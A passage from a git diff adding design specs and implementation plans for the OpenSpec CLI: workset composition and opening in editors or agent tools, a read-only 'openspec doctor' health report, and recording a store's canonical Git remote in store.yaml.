ordered `{name, path}` members (absolute + paths, basename-inferred names) and the chosen `tool` +- **AND** the flow offers to open immediately; declining prints the + `openspec workset open platform` next step +- **AND** no file or directory inside any member folder was created, + modified, or deleted (byte-level fixture assert) + +#### Scenario: Non-interactive compose + +- **WHEN** `openspec workset create ci --member <pathA> + --member runner=<pathB> --tool codex --json` runs +- **THEN** stdout is exactly one JSON document + `{ workset: { name, tool, members: [...] }, status: [] }` with + members in flag order, first member primary +- **AND** rerunning with the same name fails with `workset_exists` + (exit 1, one JSON document with the null shape + `{ workset: null, status: [diagnostic] }`) +- **AND** `--member <missing-path>` fails with + `workset_member_invalid` and writes nothing +- **AND** non-interactive create without `--member` fails with + `workset_members_required` whose fix is a pasteable full command + +#### Scenario: Names and member labels are validated + +- **WHEN** create runs with the name `My Stuff` (any grammar-invalid + name) +- **THEN** it fails with `invalid_workset_name` restating the kebab + rule (`KEBAB_ID_DESCRIPTION`) +- **AND** two members resolving to the same label (`--member a/web + --member b/web`) fail with `workset_member_invalid` naming the + collision and the `name=path` form as the fix + +#### Scenario: Listing shows the views at a glance + +- **GIVEN** two saved worksets +- **WHEN** `openspec workset list` runs +- **THEN** each name appears with its preferred tool and members + (name + absolute path); `--json` emits + `{ worksets: [{ name, tool?, members }], status: [] }` sorted by + name (every success envelope carries `status`) +- **AND** with no worksets, human output says so plainly and names the + create command; JSON emits `{ worksets: [], status: [] }` + +#### Scenario: Removing a view is safe and explicit + +- **GIVEN** a saved workset whose `.code-workspace` was generated by a + prior open +- **WHEN** `openspec workset remove platform` runs interactively and + is confirmed (non-interactive requires `--yes`, else + `workset_remove_confirmation_required`) +- **THEN** the entry leaves `worksets.yaml` and the generated + `platform.code-workspace` is deleted; `--json` emits + `{ removed: { name }, status: [] }` +- **AND** removing a never-opened workset (no generated file) succeeds + identically — derived-file cleanup tolerates ENOENT +- **AND** every member folder is byte-untouched +- **AND** removing an unknown name fails with `workset_not_found` + listing saved names (or naming the create command when none exist) + +#### Scenario: Corrupt state fails clearly, never destructively + +- **GIVEN** a hand-mangled `worksets.yaml` +- **WHEN** any workset command runs +- **THEN** it fails with `invalid_workset_file` naming the file with a + "Repair or remove <path>." fix; nothing is auto-deleted or rewritten +- **AND** the hand-edit contract holds (decision 2): a relative member + path, an empty `members` list, a duplicate or path-bearing member + label each fail the same way — while an unknown `tool:` string + parses fine and only surfaces at open (`workset_tool_unknown`, + with the manual fallback) + +#### Scenario: Composition is personal and arbitrary + +- **GIVEN** two isolated global data dirs (two users) and one shared + planning-root checkout +- **WHEN** each composes a different workset over that root — one + adding an unrelated plain folder (no OpenSpec anything), one a + single-member workset +- **THEN** each list shows only its own views; neither machine's + commands see or affect the other's state, and the shared checkout + is byte-untouched by both (FR1.2: any folders, any number, no + relationship to declarations or teammates required) + +### FR2 — Open The View In Your Tool + +#### Scenario: Editor open returns (workspace-file style) + +- **GIVEN** workset `platform` and a fake `code` on PATH (recorder + shim) +- **WHEN** `openspec workset open platform --tool code` runs +- **THEN** `<globalDataDir>/worksets/platform.code-workspace` is + (re)generated with `{ folders: [{name, path}...] }` — saved member + order, saved names, absolute paths, two-space JSON + trailing + newline +- **AND** the recorded launch is argv exactly + `[<abs workspace-file path>]`, cwd = the primary member's path, + spawned with `shell: false` and inherited stdio +- **AND** the pre-launch line states the editor kind (window opens; + command returns); the command exits with the child's exit code + +#### Scenario: Agent open takes over this terminal (attach-dirs style) + +- **GIVEN** fake `claude` and `codex` on PATH +- **WHEN** `open platform` runs with each +- **THEN** claude's recorded launch is cwd = primary, argv exactly + `['--add-dir', <primary>, '--add-dir', <member2>, '--add-dir', + <member3>]` — one attach pair per member, the primary included; + codex's is the same list prefixed by + `['--sandbox', 'workspace-write']` +- **AND** a single-member workset launches + `['--add-dir', <primary>]` (codex: after its pre-args) with + cwd = that member +- **AND** argv contains no positional argument anywhere (the no-prompt + pin), and the pre-launch line states the session kind (ends when + you exit) +- **AND** when the fake tool exits 7, the command's exit code is 7 + with no error banner; when it dies by SIGINT, the exit code is 130 + with no banner + +#### Scenario: The saved preference is overridable per open + +- **GIVEN** `platform` saved with `tool: claude` +- **WHEN** `open platform --tool code` runs +- **THEN** VS Code is launched and `worksets.yaml` is byte-unchanged + (the preference still says claude) +- **AND** `--tool` with an id that is neither built-in nor configured + fails with `workset_tool_unknown` naming the known ids +- **AND** opening a workset saved with no `tool` and no `--tool` + prompts over available tools when interactive, and fails + `workset_tool_required` (pasteable `--tool` fix) when + non-interactive +- **AND** `open --json` is rejected with exactly one JSON document + (`workset_open_json_unsupported`), never a raw flag error + +#### Scenario: Adding and adjusting tools is config, not code + +- **GIVEN** global config containing + `"openers": { "zed": { "style": "workspace-file" }, "claude": { "attach_flag": "--dir" } }` +- **WHEN** `open platform --tool zed` runs (fake `zed` on PATH) +- **THEN** zed launches with argv `[<workspace-file path>]` +- **AND** an open with claude now emits `--dir` pairs instead of + `--add-dir` +- **AND** a row with `"style": "tabs"` fails the command with + `invalid_opener_config` naming the two valid styles + +#### Scenario: Launch failure never strands (the fallback path) + +- **GIVEN** the saved tool's executable is absent from PATH (or the + spawn itself fails) +- **WHEN** `open platform` runs +- **THEN** the error (`workset_tool_unavailable` / + `workset_launch_failed`) is followed by "Open manually:" with the + regenerated `.code-workspace` path and the member name/path list — + for every tool, both styles +- **AND** when other known tools are installed, the fix names them + +#### Scenario: A missing member is skipped, the rest opens + +- **GIVEN** `platform` whose second member's directory was deleted +- **WHEN** `open platform` runs +- **THEN** a one-line note names the skipped member and its missing + path; the generated file and attach flags carry only existing + members; the launch proceeds +- **AND** if the primary is missing, the next existing member is the + cwd (noted in the same style); if none exist, the open fails with + `workset_no_members_available` + +### The Feature Leaves No Footprint + +#### Scenario: Independence and isolation hold + +- **GIVEN** a project repo with references and a registered store, plus a + saved workset +- **WHEN** the full compose→list→open→remove journey runs (e2e, + isolated XDG state, fake tools) +- **THEN** `openspec context`, `openspec doctor`, and the store registry behave + byte-identically before and after (worksets never touch them) +- **AND** all workset state lives under `<globalDataDir>/worksets/`; + deleting that directory removes every trace +- **AND** member folders are byte-untouched across the whole journey +- **AND** prompt cancellation at any compose step prints `Cancelled.` + and exits 130 with nothing saved diff --git a/openspec/work/simplify-context-and-workspace-model/slices/relationship-health/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/relationship-health/plan.md new file mode 100644 index 0000000000..15d4bdfcf8 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/relationship-health/plan.md @@ -0,0 +1,28 @@ +# Relationship Health Plan (3.6) + +## Current Shape + +This slice now covers root, store, and referenced-store health only. The earlier +code-repo declaration/map portion was removed before beta behavior hardened. + +## Implementation Notes + +1. Build health from the existing root inspection, store metadata facts, and + health-mode reference index. +2. Keep a single registry snapshot per command so references and top-level + registry diagnostics agree. +3. Keep doctor read-only: no clone, sync, repair, or workspace launch behavior. +4. Preserve the JSON failure null-shape: + `{root: null, store: null, references: [], status: [diagnostic]}`. +5. Surface pointer wrong turns and registry unreadability as top-level + relationship diagnostics. + +## Test Coverage + +- Healthy store-backed root with a resolved reference. +- No-reference root renders distinctly from broken references. +- Unresolved reference with clone/register fix. +- Corrupt registry top-level and per-reference diagnostics. +- Pointer wrong-turn diagnostics. +- Store remote divergence info. +- Read-only snapshot assertions. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/relationship-health/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/relationship-health/spec.md new file mode 100644 index 0000000000..38f1542df1 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/relationship-health/spec.md @@ -0,0 +1,124 @@ +# Relationship Health Spec (3.6) + +## Outcome + +One read-only question, one place: is the resolved OpenSpec root healthy, and +are its referenced stores available on this machine? `openspec doctor` answers +for the resolved root, separating root health, store metadata health, reference +health, and cross-cutting relationship warnings. Nothing clones, pulls, pushes, +syncs, branches, or repairs. + +The earlier code-repo relationship experiment is removed. Doctor no longer +reports implementation-folder health. + +## Locked Decisions + +1. **Diagnostic only.** No clone/sync/branch/worktree behavior, no repairs. +2. **The report separates** OpenSpec root health, store metadata health, + reference health, and top-level relationship warnings. +3. **The surface is top-level `openspec doctor`.** It is root-scoped, not + machine-scoped like `store doctor` and not change-scoped like `status`. +4. **No new health machinery.** Reference health reuses the reference index + diagnostics; root health reuses `inspectOpenSpecRoot`; store-backed roots + include store metadata and remote facts. + +## JSON Shape + +```json +{ + "root": { "path": "...", "source": "store|declared|nearest", "store_id": "...", "healthy": true, "status": [] }, + "store": { "id": "...", "metadata": { "present": true, "valid": true, "remote": "..." }, "origin_url": "...", "status": [] }, + "references": [{ "store_id": "...", "root": "...", "status": [] }], + "status": [] +} +``` + +`store` is `null` for non-store-backed roots. Reference entries are the +health-mode reference index: resolved entries carry the referenced root; +unresolved entries carry their warning diagnostics and clone/register fixes. +Failure payloads are `{root: null, store: null, references: [], status: [d]}` +and exit 1. Health findings exit 0. + +## Human Output + +```text +$ openspec doctor +Doctor + +Root + Location: /Users/dev/src/team-context + OpenSpec root: ok + Store: team-context (metadata ok) + +References + - upstream-context: ok (/Users/dev/openspec/upstream-context) + - design-system: not registered on this machine + Fix: git clone -- https://github.com/acme/design-system.git /Users/dev/openspec/design-system && openspec store register /Users/dev/openspec/design-system --id design-system +``` + +Empty references render as `(none declared)`. A self-reference is omitted and +reported distinctly from "nothing declared". + +## Scope + +In scope: + +- `src/core/relationship-health.ts`: pure composition of root, store, reference, + and top-level relationship diagnostics. +- `src/commands/doctor.ts`: normal root resolution, one registry snapshot, + health-mode reference index, store metadata/remote facts, JSON and human + output. +- Docs and tests for the root/store/reference health shape. + +Out of scope: + +- Any repair/clone/sync behavior; any write. +- Extending `store doctor`; watch modes; severity filtering. +- Code-repo declaration or local mapping health. + +## Acceptance Criteria + +### Healthy Root + +- **GIVEN** a store-backed root with one resolvable reference +- **WHEN** `openspec doctor` runs in human and JSON modes +- **THEN** root, store, and reference sections report ok and exit code is 0 + +### Nothing Declared + +- **GIVEN** a healthy root with no references +- **WHEN** doctor runs +- **THEN** references render `(none declared)` / `[]`, store is present only for + store-backed roots, and exit code is 0 + +### Broken References + +- **GIVEN** an unresolvable reference with a declared remote +- **WHEN** doctor runs +- **THEN** the reference entry carries `reference_unresolved` with the clone and + register fix, and exit code is 0 + +### Pointer And Registry Wrong Turns + +- **GIVEN** a real root whose config also declares a `store:` pointer +- **WHEN** doctor runs +- **THEN** top-level `status` carries `root_pointer_ignored` +- **AND** with an unreadable registry, top-level `status` carries + `relationship_registry_unreadable` and reference entries carry + `reference_registry_unreadable` +- **AND** a pointer repo whose own config declares references reports + `pointer_declarations_inert` + +### Remote Divergence + +- **GIVEN** a store-backed root whose `store.yaml` remote differs from the + checkout's observed origin +- **WHEN** doctor runs +- **THEN** the store section carries `store_remote_divergence` with severity + `info` + +### Read-Only + +- **GIVEN** any fixture above +- **WHEN** doctor runs and other commands run afterward +- **THEN** doctor performed no writes and other command outputs are unchanged diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-canonical-remote/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/store-canonical-remote/plan.md new file mode 100644 index 0000000000..3afc40d940 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-canonical-remote/plan.md @@ -0,0 +1,194 @@ +# Store Canonical Remote Plan (3.3) + +## Status + +Spec locked 2026-06-11 after two adversarial rounds (the setup-rerun +origin-erasure P1; register's precise write contract; the one-way +strict-schema constraint binding 3.4; mixed references dedup; verbatim +clone fixes). Plan drafted 2026-06-11. Implementation not started. + +The main move: + +```text +One optional field in store.yaml, one origin probe in both lifecycle +flows, one normalized references shape — and "register the store" +stops being a dead end. +``` + +## Source Of Truth + +Start from `spec.md` (this folder). Keep nearby: `../../roadmap.md` +(3.3 section + the recorded autonomous decisions), +`../store-lifecycle-proof/spec.md` (1.3 setup/register contracts), +`../store-references/spec.md` (3.1 reference index contracts). + +## Current Code Map (verified during spec review) + +- **Metadata**: `StoreMetadataState` (`foundation.ts:44`), + `MetadataStateSchema` strict at `:184-187`, parse-side + reconstruction `:265-282` (rebuilds the literal — adding the field + here too or it drops silently), serializer `:302+`. +- **Registry**: backend `remote?` dormant at `foundation.ts:24,51,171`; + `storeBackendsMatch` compares remotes (`registry.ts:169`); + same-id+path re-register allowed (`registry.ts:93-95`) and updates + via `commitStoreRegistration` (`registry.ts:280-283`); persistence + flows through `resolveGitStoreBackendConfig`'s spread + (`foundation.ts:478`) → `withRegisteredStore` (`registry.ts:121-133`) + — NOT `registry.ts:310` (`registerStore`, no CLI callers). + `resolveGitStoreBackendConfig` is already async and accepts + `remote?` (`foundation.ts:451-480`) — no signature change. +- **Setup**: backend resolution happens at TWO sites — the probe must + reach both or the rerun path erases the remote (the spec-review P1): + `prepareSetupPlan` (`operations.ts:438`, every rerun over an existing + directory) and `setupPreparedStore` (`operations.ts:526`, + `backend ??=`, the fresh-directory path). Probe at the call sites + and pass through the existing `remote` input — NOT inside + `resolveGitStoreBackendConfig` (also called on hot read paths, + `binding.ts:235,305`, and `registry.ts:307`). `store.yaml` written + at `operations.ts:535` before the commit at `:559-561`; pathspecs + include `.openspec-store` (`:555`). The `--remote`-vs-existing + refusal belongs in `prepareStoreSetup` (metadata already read at + `:410`) so it fires BEFORE prompts, git-identity preflight (`:512`), + and `ensureOpenSpecRoot` writes (`:521`). Plumbing: `remote?` on + `SetupStoreInput`, `ResolvedStoreSetupInput`, `PreparedStoreSetup`. +- **Register**: `registerExistingStore` resolves the backend at + `operations.ts:702` — await the origin probe and pass it in; commits + registration with `writeMetadataIfMissing: true` at `:708-712`. +- **Sharing guidance**: the line is `store.ts:434` ("Share this store + by committing and pushing it like any Git repo.") inside + `printMutationHuman` (`store.ts:418-436`), which receives only + `StoreMutationOutput` — and decision 5 keeps that JSON remote-free. + Mechanism: `StoreMutationResult` (operations.ts) gains + `{canonicalRemote?, observedRemote?}`, populated by setup/register; + `toMutationOutput` (`store.ts:143-159`) drops them from JSON; + `printMutationHuman` renders canonical → observed → today's wording. + Note `store-git.test.ts:135-137` pins today's wording for the + no-remote case — keep it passing. +- **Git probes**: `gitProbe` pattern in `src/core/store/git.ts` (~158 + `git remote`); the new `getOriginUrl(storeRoot)` sits beside it + (`git remote get-url origin`, null on non-zero exit). +- **Doctor**: store inspection assembles metadata + git sections + (`operations.ts:991-994` area); human rendering `store.ts:500-528`, + git facts line `:483-491`. +- **References**: parser `project-config.ts:172-200` (string entries, + dedup by raw string); `ProjectConfig.references: string[]` consumers: + `instructions.ts:79-82` (`loadConfigAndReferences`), + `AssembleReferenceIndexInput` (`references.ts:190-194`), assembler + id loop + `registerFix` (`references.ts:51-53,227+`). +- **Tests**: `test/core/store/foundation.test.ts` (metadata + round-trip), `test/commands/store.test.ts` + `store-git.test.ts` / + `test/cli-e2e/store-lifecycle.test.ts` (setup/register/doctor), + `test/core/project-config.test.ts`, `test/core/references.test.ts`, + `test/commands/store-references.test.ts`, helpers in + `test/helpers/` (run-cli, store-git, openspec-fixtures, + fs-snapshot). + +## Implementation Plan + +### Checkpoint 1 — metadata, lifecycle, doctor (commit) + +1. `foundation.ts`: `remote?: string` on `StoreMetadataState`; + `remote: nonEmptyOptionalString()` in `MetadataStateSchema` (stays + strict); parse reconstruction and serializer carry it. +2. `git.ts`: `getOriginUrl(storeRoot): Promise<string | null>` via + `gitProbe(storeRoot, ['remote', 'get-url', 'origin'])` — TRIM the + stdout (gitProbe returns the trailing newline; see `git.ts:152-159` + for the trim-before-interpret pattern); empty/non-zero → null. +3. Setup (`operations.ts` + `store.ts` command wiring): + - `--remote <url>` option threaded through the input/plan types; + empty → clean failure in `resolveSetupInput`/prepare, asserting + NOTHING was created. + - `store.yaml` write includes `remote` when given; existing + `store.yaml` + `--remote` → error with the hand-edit fix, raised + in `prepareStoreSetup` before prompts/preflight/writes. + - BOTH backend-resolution sites probe the origin (fresh init → + none) so the registry entry shape matches register's and reruns + stay no-ops. +4. Register (`operations.ts:702` area): probe origin, pass into + `resolveGitStoreBackendConfig`/the backend input so the registry + entry records it; conversion metadata stays `{version, id}`. +5. Doctor: `metadata.remote` (from store.yaml) + `git.origin_url` + (live probe) in JSON; human Remote line preferring canonical, + omitted when neither exists. +6. Sharing next-steps: thread `{canonicalRemote?, observedRemote?}` + through `StoreMutationResult` (dropped from JSON by + `toMutationOutput`); `printMutationHuman` renders canonical → + observed → today's wording; three tests (canonical, origin-only, + neither — the last already pinned at `store-git.test.ts:135-137`). +7. Tests: round-trip with/without remote; pre-3.3 parse; unknown keys + fail; setup `--remote` in the initial commit (`git show` content + assert); `--remote ""` fails; `--remote` + existing store.yaml + fails with hand-edit fix; setup without `--remote` byte-identical + store.yaml; `--no-init-git` records remote without commit; register + records origin (TEST-NET URL), refreshes on re-register, no-op + rerun preserves it (`already_registered: true`), no-origin leaves + unset, no commits, existing store.yaml untouched; conversion + metadata remote-free; doctor JSON + human incl. disagreement (both + shown, no diagnostic) and the no-remote no-noise case; `--store` + resolution against a remote-bearing store.yaml behaves identically. + Fixture mechanics: TEST-NET pin via `git init` + `git remote add + origin https://192.0.2.1/x.git` (NEVER clone from it — get-url + reads config only); disagreement via `remote add origin A` + + hand-edited `store.yaml` remote B. + +### Checkpoint 2 — references with remotes, e2e, docs (commit) + +1. `project-config.ts`: `ReferenceDeclaration {id, remote?}`; the + ZOD schema's `references` field changes too + (`z.array(z.union([z.string(), z.object({...})]))` or decouple the + inferred type — `ProjectConfig` is `z.infer`, project-config.ts:60); + parser accepts `string | map` entries (map without string id → + dropped with warning; non-string remote → dropped with warning, id + kept); dedup by id keeps the first position, and the FIRST entry + carrying a remote supplies it — a later duplicate fills a missing + remote, never overrides (pin `[x, {id: x, remote: r}]` explicitly). +2. `references.ts`: `AssembleReferenceIndexInput.references: + ReferenceDeclaration[]`; the id loop walks declarations; + `registerFix(id, remote?)` renders the clone form with the home + directory ABSOLUTE via `os.homedir()` + (`git clone <remote> <home>/openspec/<id> && openspec store + register <home>/openspec/<id> --id <id>`) when remote present, + today's wording otherwise; invalid-id check runs before remote use + (map-with-invalid-id is an ASSEMBLER test, not a parser test). +3. `instructions.ts`: `loadConfigAndReferences` passes declarations + through (type ripple only). +4. Tests: parser both shapes + the pinned mixed duplicate; + assembler unresolved fix with/without remote + map-with-invalid-id; + both shapes index identically once registered; e2e onboarding — + local-path remote, fresh XDG state AND a scratch HOME in env (so + `os.homedir()` in both the CLI and the rendered fix point inside + the temp dir), instructions print the absolute-path fix, the test + splits it on `&& `, runs the git half via the git helper and the + register half via runCLI (no shell — which is exactly why the fix + renders absolute paths), rerun shows the resolved index. +5. `docs/cli.md`: `--remote` on setup, the `store.yaml` field, the + reference-with-remote form, one onboarding example. +6. Full suite; built-binary smoke of the UX transcript. + +## Risks And Guardrails + +- **The rerun no-op is the regression magnet**: `storeBackendsMatch` + compares remotes, so BOTH flows must produce the same backend for + the same checkout. The no-op tests (setup rerun, register rerun) + are the net; run them against a checkout WITH an origin. +- **Absolute fix paths are the contract**: `~` never expands outside + a shell and agent JSON consumers execute argv directly, so + `registerFix` renders `os.homedir()` absolute. The e2e sets HOME in + env so the rendered path lands in the temp dir. +- **references type ripple**: `string[]` → `ReferenceDeclaration[]` + touches project-config tests asserting raw arrays; update them with + the normalized shape, keep the 3.1 semantics pins intact. +- **Doctor layout**: one added line, nothing else moves (3.2's + byte-stable doctor expectations in store-lifecycle tests must keep + passing untouched where no remote exists). +- **No new diagnostic codes** anywhere; the vocabulary sweep and + allowlist tests stay untouched. + +## Done Definition + +- All spec acceptance scenarios pass; both checkpoints green on the + full suite and committed. +- The e2e onboarding journey executes the printed fix verbatim and + continues to a resolved index. +- Roadmap 3.3 boxes ticked through "Tests pass"; changelog updated; + pointer moved to 3.4. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-canonical-remote/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/store-canonical-remote/spec.md new file mode 100644 index 0000000000..dca20a14d0 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-canonical-remote/spec.md @@ -0,0 +1,326 @@ +# Store Canonical Remote Spec (3.3) + +## Outcome + +Teammate onboarding stops dead-ending at "register the store". A store +can record where it is cloned from — once, in its committed identity +file — and every surface that today says "get a checkout from a +teammate" can instead say exactly where to clone from: doctor shows the +remote, the unresolved-reference warning names the clone source, and +register guidance carries it. Recording a remote is not sync: nothing +clones, pulls, pushes, or branches. + +## Locked Decisions (roadmap, 2026-06-11) + +1. **Optional canonical remote in `.openspec-store/store.yaml`** (the + shared, committed home), populated at setup/register when known. +2. **Doctor surfaces it; unresolved-reference and register guidance use + it** ("clone from `<remote>`, then register"). +3. **Recording a remote is not sync**: no clone, pull, push, or branch + behavior. (The Git line from 1.3 stands: setup may init and commit + once; everything else reads.) + +## Decisions This Spec Makes (autonomous, recorded in the changelog) + +1. **Two remotes, two homes, one display rule.** The *canonical* remote + is team-authored and lives in `store.yaml` (committed; the answer to + "where SHOULD this be cloned from"). The *observed* origin is + machine-local and lives in the registry entry's existing-but-dormant + `remote` field (foundation.ts:24,51,171 — the roadmap's "registry + already supports an optional remote but nothing populates it"), + captured read-only from `git remote get-url origin` in BOTH setup + and register (a fresh `git init` simply has no origin; probing in + both flows keeps `storeBackendsMatch` — registry.ts:169, which + compares remotes — consistent, so the 1.3 rerun-is-a-no-op contract + survives: a rerun re-observes the same origin, matches, and reports + `already_registered: true` without rewriting anything). A + re-register after the origin URL changed refreshes the recorded + value — that is the only un-staling mechanism. Display surfaces + probe live; the persisted registry value exists for surfaces that + cannot probe (3.6 relationship-health groundwork). Guidance prefers + canonical, falls back to the observed origin. +2. **How each gets populated.** `store setup` gains `--remote <url>`, + written into `store.yaml` BEFORE the initial commit so the canonical + remote ships in the committed store shape. Register's 1.3 contract, + stated precisely: it never COMMITS and never MODIFIES an existing + `store.yaml`; it may still create the missing identity file in the + confirmed-conversion path (operations.ts:708-712, + `writeMetadataIfMissing`) — and that created metadata does NOT + include a remote (observed origin is not team-authored canonical). + Register records the observed origin in the machine-local registry + entry only. Hand-editing `store.yaml` is the supported + retrofit path (it is plain YAML; the next doctor/register picks it + up); `setup --remote` against a path whose `store.yaml` already + exists FAILS with a fix naming the hand-edit + ("Edit <abs path>/.openspec-store/store.yaml and commit it") — + silent acceptance that ignores the flag is the one forbidden + outcome. +3. **The unresolved-reference clone source rides the declaration.** For + a store that is not registered locally, no store.yaml or registry + entry exists to consult — the only locally readable carrier is the + referencing repo's config. `references:` entries therefore accept + either a plain id string (3.1 shape, unchanged) or a map + `{ id, remote? }`. Parsing normalizes to `{id, remote?}[]` + (`ProjectConfig.references` changes type; consumers: + instructions.ts and the assembler input). Dedup keys on `id`, + order-preserving; the FIRST entry carrying a remote wins for that id + (a later duplicate never overrides, matching the 3.1 + first-occurrence rule). When the remote is known, + `reference_unresolved`'s fix becomes pasteable verbatim using the + default-path convention rendered ABSOLUTE + (`<home>/openspec/<id>` via `os.homedir()` — `~` does not expand + outside a shell, and agent JSON consumers execute argv directly): + `git clone <remote> /home/me/openspec/<id> && openspec store register /home/me/openspec/<id> --id <id>`; + without it, the current teammate-checkout fix stands. Resolved index + entries do NOT gain a remote field — once registered, the `--store` + fetch recipe suffices. +4. **Schema change: one-way compatible, strictness retained + deliberately.** `MetadataStateSchema` (`{version: 1, id}` + `.strict()`, foundation.ts:184-187; parse-side reconstruction at + 265-282) gains an optional non-empty `remote`. The real + compatibility contract: the new CLI reads old and new files; an OLD + CLI REJECTS a remote-bearing `store.yaml` (strict()). Accepted — + the store format is pre-release and strictness catches typos like + `remot:` — but recorded as a standing constraint: any future + `store.yaml` field is a cross-version protocol change requiring a + version bump or a strictness revisit, and 3.4 must not put target + declarations in `store.yaml` without addressing this. +5. **Doctor's surfaces**: the store entry's `metadata` section gains the + canonical `remote` (null when absent); the `git` section gains + `origin_url` (the observed URL, live-probed like the section's other + facts, null when no origin) beside the existing `has_remote` + boolean. Human output shows one Remote line preferring canonical. + When canonical and observed disagree, JSON simply carries both + differing values and human shows the canonical line — no new + diagnostic codes anywhere in this slice (3.6 may add a health note). + Setup/register/list JSON keeps the shared `StoreOutput` shape + unchanged (no remote field there); doctor is the inspection surface. +6. **Register guidance upgrades where the remote is knowable.** The + empty/unhealthy-clone register refusal keeps its shape; the + setup/register sharing next-steps line names the canonical remote + when one is recorded, else the observed origin when one exists + ("Share it: teammates clone <remote> and run openspec store + register <path>"). Errors about stores with no recorded remote are + unchanged. + +## User Experience + +The store author records the canonical remote at creation: + +```bash +openspec store setup team-context --path ~/src/team-context \ + --remote git@github.com:acme/team-context.git +``` + +`store.yaml` (committed in the initial commit): + +```yaml +version: 1 +id: team-context +remote: git@github.com:acme/team-context.git +``` + +A teammate cloning the app repo sees instructions that no longer +dead-end: + +```text +<referenced_stores> +Store team-context: not registered on this machine. + Fix: git clone git@github.com:acme/team-context.git /Users/dev/openspec/team-context && openspec store register /Users/dev/openspec/team-context --id team-context +</referenced_stores> +``` + +(That remote came from the app repo's own declaration: +`references: [{ id: team-context, remote: git@github.com:acme/team-context.git }]`.) + +And doctor tells the truth about both remotes, read-only (the existing +doctor layout, store.ts:500-528, plus exactly one new line): + +```text +$ openspec store doctor team-context +Store doctor + +team-context + Location: /Users/dev/src/team-context + OpenSpec root: ok + Metadata: ok + Remote: git@github.com:acme/team-context.git + Git: repository detected (commits: yes, uncommitted changes: no, remote: yes) +``` + +## Scope + +In scope: + +- **Metadata**: optional `remote` in `MetadataStateSchema` + + `StoreMetadataState` + `parseStoreMetadataState` + + `serializeStoreMetadataState` (`foundation.ts:44,184-187,265-282,302`); + validation: non-empty string when present (matching the registry's + `nonEmptyOptionalString`). +- **Setup**: `--remote <url>` flag; written into `store.yaml` before + the initial commit; rejected when empty; FAILS with the hand-edit fix + when `store.yaml` already exists; setup also probes the origin for + its registry entry (consistency with register, rerun no-op + preserved). JSON stays the shared `StoreOutput` shape — decision 5 + wins; doctor is the inspection surface (plan review resolved the + earlier contradiction here). +- **Register**: read-only probe `git remote get-url origin` (new + function in `src/core/store/git.ts` beside the existing probes); + observed origin recorded in the registry entry's `remote` field; + re-register refreshes it; never commits, never modifies an existing + `store.yaml`; the confirmed-conversion identity write stays + `{version, id}` only (existing contracts pinned). +- **Doctor**: `metadata.remote` (canonical) and `git.origin_url` + (observed, live-probed) in JSON; one human Remote line preferring + canonical. +- **References**: `references:` entries accept `string | {id, remote?}` + (parser keeps the 3.1 raw-and-resilient style: map entries without a + string `id` are dropped with a warning; `remote` kept when a + non-empty string; normalized in-memory shape `{id, remote?}[]`; + dedup by `id`, order-preserving; the first entry carrying a remote + supplies it, i.e. a later duplicate fills a missing remote but never + overrides one); the assembler threads the declared remote into + `reference_unresolved`'s fix + (`git clone <remote> <home>/openspec/<id> && openspec store register <home>/openspec/<id> --id <id>`, + the home directory rendered absolute). +- **Sharing guidance**: the setup/register next-steps sharing line + names the canonical remote when recorded, else the observed origin. +- **Docs**: the `docs/cli.md` store section documents `--remote`, the + `store.yaml` field, and the reference-with-remote form. +- **Tests**: metadata round-trip (with/without remote; pre-3.3 files + parse; unknown keys still fail); setup `--remote` lands in the + initial commit; setup/register rerun stays a no-op and never erases + the recorded remote; register records the observed origin, refreshes + it on re-register, never commits, never modifies existing + `store.yaml`; conversion-created metadata has no remote; doctor JSON + + human surfaces incl. canonical/observed disagreement (both shown, + no diagnostic); references parser accepts both entry shapes incl. + mixed duplicates (`[x, {id: x, remote: r}]` → one entry, first + remote wins) and map-with-invalid-id (`reference_invalid_id` wins, + remote ignored); unresolved fix with and without a declared remote; + `--no-init-git` setup records the remote in the working-tree + `store.yaml` without a commit; e2e onboarding flow — app repo + declares `{id, remote}` with a local-path remote, fresh machine + state, instructions name the clone command, executing it verbatim + + register + rerun shows the resolved index. + +Out of scope: + +- Any clone/pull/push/sync behavior, remote validation beyond + non-empty, or network access (`git remote get-url` reads local + config). +- Auto-writing the canonical remote into an existing `store.yaml` at + register time (register never modifies an existing identity file); + a future `store set-remote` command (later idea if hand-editing + proves insufficient). +- Conflict handling between canonical and observed remotes (doctor + shows both; 3.6 may add a health note). +- Relationship health (3.6). + +## Acceptance Criteria + +### The Canonical Remote Is Committed Identity + +#### Scenario: Setup Records The Remote In The Initial Commit + +- **GIVEN** `store setup team-context --path <p> --remote <url>` +- **WHEN** setup completes +- **THEN** `<p>/.openspec-store/store.yaml` contains `remote: <url>` +- **AND** the initial commit contains that exact file content (a clone + is born knowing its canonical remote) +- **AND** `--remote ""` fails cleanly before creating anything +- **AND** setup without `--remote` produces today's byte-identical + `store.yaml` + +#### Scenario: Old And New Metadata Both Parse + +- **GIVEN** a pre-3.3 `store.yaml` (`version` + `id` only) and a 3.3 + one carrying `remote:` +- **WHEN** register, doctor, and `--store` resolution run against each +- **THEN** both parse and behave identically apart from the surfaced + remote +- **AND** unknown extra keys still fail (the schema stays strict) + +### The Observed Origin Is Machine-Local + +#### Scenario: Register Records The Origin Read-Only + +- **GIVEN** a cloned store checkout whose Git origin is `<url>` +- **WHEN** the user registers it +- **THEN** the machine-local registry entry's `remote` is `<url>` +- **AND** an existing `store.yaml` is not modified and no commit is + created (the confirmed-conversion path may still create a missing + identity file, and that file carries no remote) +- **AND** registering a checkout with no origin leaves the registry + remote unset +- **AND** the probe reads local Git config only — pinned by using a + non-routable remote URL (TEST-NET) that would hang or fail on any + network touch + +#### Scenario: Reruns Never Erase The Observed Remote + +- **GIVEN** a registered store whose registry entry records an origin +- **WHEN** setup or register reruns for the same id and path with the + origin unchanged +- **THEN** the outcome is the 1.3 no-op (`already_registered: true`) + and the recorded remote is untouched +- **AND** a re-register after the origin URL changed refreshes the + recorded value + +#### Scenario: Setup Cannot Silently Ignore --remote 